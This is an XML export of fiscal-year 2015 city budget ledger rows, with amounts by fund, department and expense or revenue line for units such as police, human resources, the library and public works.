<row _id="15317"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>5271.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5271.0</total></row>
<row _id="15318"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>72.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>72.0</total></row>
<row _id="15319"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>461.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>461.0</total></row>
<row _id="15320"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>577940.0</object><object_description>REIMB FOR PARKING EXPEND</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1814643.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1814643.0</total></row>
<row _id="15321"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>401730.0</object><object_description>LIBRARY CAFE UTILITY REIMBURSE</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2015</fiscal_year><july>-11000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-11000.0</total></row>
<row _id="15322"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>407790.0</object><object_description>CHILDCARE LINKAGE FEE</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2015</fiscal_year><july>-35000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-35000.0</total></row>
<row _id="15323"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="15324"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>244</division_id><division_name>SYSTEMS &amp; NETWORKS</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1400688.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1400688.0</total></row>
<row _id="15325"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>244</division_id><division_name>SYSTEMS &amp; NETWORKS</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1148.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1148.0</total></row>
<row _id="15326"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>251</division_id><division_name>EMPLOYMENT &amp; ORGANIZATIONAL DE</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>31558.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>31558.0</total></row>
<row _id="15327"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>354840.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>354840.0</total></row>
<row _id="15328"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>406.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>406.0</total></row>
<row _id="15329"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>216.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>216.0</total></row>
<row _id="15330"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>2487.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2487.0</total></row>
<row _id="15331"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>57691.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>57691.0</total></row>
<row _id="15332"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1114583.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1114583.0</total></row>
<row _id="15333"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>5803.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5803.0</total></row>
<row _id="15334"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>12815.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>12815.0</total></row>
<row _id="15335"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1659.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1659.0</total></row>
<row _id="15336"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>225580.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>225580.0</total></row>
<row _id="15337"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>3607.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3607.0</total></row>
<row _id="15338"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>522930.0</object><object_description>VEHICLES - TIRES / TUBES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>638.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>638.0</total></row>
<row _id="15339"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>6</fund_id><fund_name>Clean Bchs &amp; Ocean Prcl Tx Fd</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>400750.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>616.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2015</fiscal_year><july>-77000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-77000.0</total></row>
<row _id="15340"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>401010.0</object><object_description>SWIM CENTER-WET WORKOUTS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-19300.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-19300.0</total></row>
<row _id="15341"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>569221.0</object><object_description>MADISON PROJECT</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>66000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>66000.0</total></row>
<row _id="15342"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>522630.0</object><object_description>OFFICE RENT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>140000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>140000.0</total></row>
<row _id="15343"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>14232.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>14232.0</total></row>
<row _id="15344"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>867153.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>867153.0</total></row>
<row _id="15345"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>407910.0</object><object_description>CAP GRNTS - PRP 1B SECURITY</object_description><category_code>657.0</category_code><category_code_description>Capital Grants</category_code_description><fiscal_year>2015</fiscal_year><july>-249392.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-249392.0</total></row>
<row _id="15346"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>544740.0</object><object_description>ARTIST FELLOWSHIPS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>61589.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>61589.0</total></row>
<row _id="15347"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>MEDICAL-FIRE RETIREE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="15348"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>200.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>200.0</total></row>
<row _id="15349"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>560.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>560.0</total></row>
<row _id="15350"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>750.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>750.0</total></row>
<row _id="15351"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1065.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1065.0</total></row>
<row _id="15352"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>3585.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3585.0</total></row>
<row _id="15353"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="15354"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="15355"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object xsi:nil="true" /><object_description>MEDICAL-RETIREE</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="15356"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>2889.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2889.0</total></row>
<row _id="15357"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>441.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>441.0</total></row>
<row _id="15358"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>70468.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>70468.0</total></row>
<row _id="15359"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>314.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>314.0</total></row>
<row _id="15360"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="15361"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
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<row _id="15368"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object>577970.0</object><object_description>INSURANCE ADMIN</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>62607.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>62607.0</total></row>
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<row _id="15371"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>10700.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10700.0</total></row>
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<row _id="15381"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1195.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1195.0</total></row>
